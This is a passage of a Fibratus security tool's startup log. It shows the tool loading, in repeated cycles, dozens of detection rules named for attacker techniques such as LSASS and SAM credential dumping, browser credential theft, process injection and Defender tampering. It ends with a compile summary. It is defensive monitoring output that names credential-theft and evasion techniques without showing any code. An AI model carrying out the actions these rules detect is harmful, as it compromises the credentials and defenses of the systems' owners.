C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-21T16:07:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-21T16:07:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-21T16:07:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-21T16:07:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-21T16:07:47+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-21T16:07:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-21T16:07:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-21T16:07:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-21T16:07:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-21T16:07:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-21T16:07:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-21T16:07:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-21T16:07:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-21T16:07:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-21T16:07:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-21T16:07:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-21T16:07:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-21T16:07:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-21T16:07:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-21T16:07:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-21T16:07:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-21T16:07:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-21T16:07:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-21T16:07:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-21T16:07:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-21T16:07:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-21T16:07:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-21T16:07:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-21T16:07:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-21T16:07:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-21T16:07:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-21T16:07:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-21T16:07:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-21T16:07:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-21T16:07:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-21T16:07:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-21T16:07:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-21T16:07:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-21T16:07:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-21T16:07:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-21T16:07:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-21T16:07:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-21T16:07:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-21T16:07:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-21T16:07:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-21T16:07:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-21T16:07:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-21T16:07:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-21T16:07:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-21T16:07:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-21T16:07:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-21T16:07:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-21T16:07:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-21T16:07:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-21T16:07:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-21T16:07:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-21T16:07:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-21T16:07:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-21T16:07:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-21T16:07:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-21T16:07:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-21T16:07:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-21T16:07:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-21T16:07:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-21T16:07:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-21T16:07:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-21T16:07:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-21T16:07:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-21T16:07:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-21T16:07:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-21T16:07:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-21T16:07:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-21T16:07:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-21T16:07:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-21T16:07:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-21T16:07:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-21T16:07:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-21T16:07:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-21T16:07:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-21T16:07:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-21T16:07:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-21T16:07:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-21T16:07:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-21T16:07:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-21T16:07:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-21T16:07:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-21T16:07:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-21T16:07:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-21T16:08:05+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-21T16:08:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-21T16:08:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-21T16:08:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-21T16:08:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-21T16:08:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-21T16:08:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-21T16:08:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-21T16:08:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-21T16:08:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-21T16:08:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-21T16:08:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-21T16:08:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-21T16:08:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-21T16:08:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-21T16:08:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-21T16:08:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-21T16:08:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-21T16:08:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-21T16:08:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-21T16:08:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-21T16:08:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-21T16:08:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-21T16:08:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-21T16:08:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-21T16:08:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-21T16:08:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-21T16:08:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-21T16:08:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-21T16:08:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-21T16:08:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-21T16:08:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-21T16:08:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-21T16:08:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-21T16:08:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-21T16:08:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-21T16:08:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-21T16:08:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-21T16:08:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-21T16:08:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-21T16:08:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-21T16:08:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-21T16:08:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-21T16:08:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-21T16:08:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-21T16:08:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-21T16:08:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-21T16:08:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-21T16:08:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-21T16:08:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-21T16:08:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-21T16:08:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-21T16:08:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-21T16:08:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-21T16:08:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-21T16:08:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-21T16:08:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-21T16:08:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-21T16:08:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-21T16:08:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-21T16:08:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-21T16:08:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-21T16:08:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-21T16:08:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-21T16:08:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-21T16:08:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-21T16:08:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-21T16:08:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-21T16:08:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-21T16:08:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-21T16:08:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-21T16:08:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-21T16:08:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-21T16:08:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-21T16:08:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-21T16:08:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-21T16:08:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-21T16:08:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-21T16:08:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-21T16:08:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-21T16:08:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-21T16:08:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-21T16:08:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-21T16:08:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-21T16:08:05+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-21T16:08:05+01:00 level=info msg=bootstrapping with pid 6388. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-21T16:08:06+01:00 level=info 